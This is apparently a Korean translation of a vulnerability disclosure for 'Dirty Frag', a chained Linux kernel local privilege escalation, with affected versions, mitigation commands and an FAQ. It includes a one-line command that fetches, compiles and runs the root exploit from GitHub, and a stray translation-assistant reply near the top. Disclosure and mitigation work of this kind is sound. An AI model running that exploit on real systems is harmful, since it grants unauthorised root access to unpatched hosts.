Dirty Frag: 범용 Linux LPE
Source: Hacker News
번역할 텍스트가 제공되지 않았습니다. 번역이 필요한 내용을 알려주시면 도와드리겠습니다.
초록

이 문서는 Dirty Frag 취약점 클래스를 설명합니다. 이 취약점은 Hyunwoo Kim (@v4bel)이 최초로 발견하고 보고했습니다. xfrm‑ESP Page‑Cache Write 취약점과 RxRPC Page‑Cache Write 취약점을 연계함으로써 주요 Linux 배포판에서 루트 권한을 획득할 수 있습니다.
Dirty Frag는 Dirty Pipe과 Copy Fail을 포함하는 버그 클래스의 확장입니다. 타이밍 윈도우에 의존하지 않는 결정론적 로직 버그이므로 레이스 컨디션이 필요 없으며, 익스플로잇이 실패해도 커널이 패닉하지 않고 성공률이 매우 높습니다.
자세한 기술 정보와 타임라인은 write‑up를 참고하십시오.
Note (2026‑05‑08)
xfrm‑ESP Page‑Cache Write취약점은 CVE‑2026‑43284 로 지정되었으며, 커밋f4c50a4034e6에서 메인라인에 패치되었습니다.RxRPC Page‑Cache Write취약점은 추적을 위해 CVE‑2026‑43500 로 예약되었으며, 아직 어떤 트리에도 패치가 존재하지 않습니다.
Exploiting
One‑line special
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
이 PoC는 linux‑distros와 협의 후 정확한 정보로 제공됩니다. 권한이 없는 시스템에서는 절대 사용하지 마십시오.
정리
⚠️ Important: 이 익스플로잇을 실행한 후 페이지 캐시가 오염됩니다. 오염된 페이지 캐시를 정리하고 시스템 안정성을 보장하려면 다음 중 하나를 실행하십시오:
echo 3 > /proc/sys/vm/drop_caches
또는 시스템을 간단히 재부팅하십시오.
영향을 받는 버전
xfrm‑ESP Page‑Cache Write 취약점은 커밋 cac2661c53f3 (2017‑01‑17)부터 upstream까지 범위에 포함되며, RxRPC Page‑Cache Write 취약점은 커밋 2dc334f1a63a (2023‑06)부터 upstream까지 범위에 포함됩니다.
즉, 해당 취약점들의 실제 유효 기간은 약 9 년입니다.
Dirty Frag는 다음 배포판 버전에서 테스트되었습니다:
- Ubuntu 24.04.4:
6.17.0-23-generic - RHEL 10.1:
6.12.0-124.49.1.el10_1.x86_64 - openSUSE Tumbleweed:
7.0.2-1-default - CentOS Stream 10:
6.12.0-224.el10.x86_64 - AlmaLinux 10:
6.12.0-124.52.3.el10_1.x86_64 - Fedora 44:
6.19.14-300.fc44.x86_64 - … (추가 버전은 간략히 생략)
완화
책임 있는 공개 일정과 금수 조치가 깨졌기 때문에 현재 모든 배포판에 대한 패치가 존재하지 않습니다. 다음 단계들을 사용하여 취약한 모듈을 제거하고 페이지 캐시를 비우세요:
# Prevent the modules from loading
printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf
# Unload them if they are already loaded
rmmod esp4 esp6 rxrpc 2>/dev/null || true
# Drop caches
echo 3 > /proc/sys/vm/drop_caches
각 배포판이 패치를 백포트하면, 그에 따라 업데이트하십시오.
FAQ
왜 두 개의 취약점을 연결했나요?
xfrm‑ESP Page‑Cache Write는 강력한 임의 4바이트 STORE 프리미티브(복사 실패와 유사)를 제공하며 대부분의 배포판에 존재하지만, 사용자 네임스페이스를 생성할 권한이 필요합니다. Ubuntu는 경우에 따라 AppArmor를 통해 비특권 사용자 네임스페이스 생성을 차단하여 익스플로잇을 방지합니다.
RxRPC Page‑Cache Write는 네임스페이스 생성이 필요하지 않지만, rxrpc.ko 모듈은 대부분의 배포판에 포함되어 있지 않습니다. 그러나 Ubuntu에서는 rxrpc.ko 모듈이 기본적으로 로드됩니다.
두 프리미티브를 연결하면 서로의 blind spot을 보완하여 주요 배포판 모두에서 루트 권한을 얻을 수 있습니다. 자세한 설명은 기술 세부 문서를 참고하십시오.
또 다른 “브랜드된” “Dirty” 시리즈?
예. 이 취약점은 Dirty Pipe의 파생이며 struct sk_buff의 frag 멤버를 “더럽힙니다”. 따라서 이름 Dirty Frag는 그 계통을 반영합니다.
“Copy Fail” 취약점과의 관계는?
Copy Fail은 이번 연구의 영감이 되었습니다. Dirty Frag 체인에 있는 xfrm‑ESP Page‑Cache Write 프리미티브는 Copy Fail과 동일한 sink를 공유합니다. Copy Fail과 달리 algif_aead 모듈이 존재 여부와 관계없이 트리거됩니다. 따라서 algif_aead를 블랙리스트에 등록하는 공개된 Copy Fail 완화 조치를 적용한 시스템이라도 Dirty Frag에 취약합니다.
그렇다면 내 Linux를 어떻게 고치나요?
위의 Mitigation 섹션과 Disclosure Timeline을 참고하십시오. 금수 조치가 해제되었기 때문에 아직 어떤 배포판에도 공식 패치가 제공되지 않았습니다. 업스트림 업데이트를 주시하고 출시되는 즉시 적용하세요.